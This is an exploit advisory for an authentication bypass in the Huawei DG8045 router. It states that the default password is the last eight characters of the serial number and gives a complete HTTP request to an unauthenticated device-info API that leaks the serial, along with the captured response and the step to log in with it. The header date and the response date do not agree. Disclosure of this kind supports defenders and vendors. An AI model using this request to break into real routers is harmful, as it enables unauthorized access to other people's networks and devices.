Huawei DG8045 Authentication Bypass

Huawei DG8045 ships with a default password that is the last 8 character of the device's serial number listed on the back.

MD5 | a2bc8233cbc356dd39974accb8f25338

# Title: Huawei dg8045 - Authentication Bypass
# Date: 2020-06-24
# Author: Abdalrahman Gamal
# Vendor Homepage:
# Version: dg8045
# Hardware Version: VER.A


The default password of this router is the last 8 characters of the
device's serial number which exist in the back of the device.

An attacker can leak the serial number via the web app API like the

GET /api/system/deviceinfo HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Thu, 24 Jun 2021 02:07 GMT+2
Connection: Keep-Alive
Content-Language: en
Content-Type: application/javascript
Content-Length: 141

while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/

You can use that serial number last 8 char/digits to login to the router.

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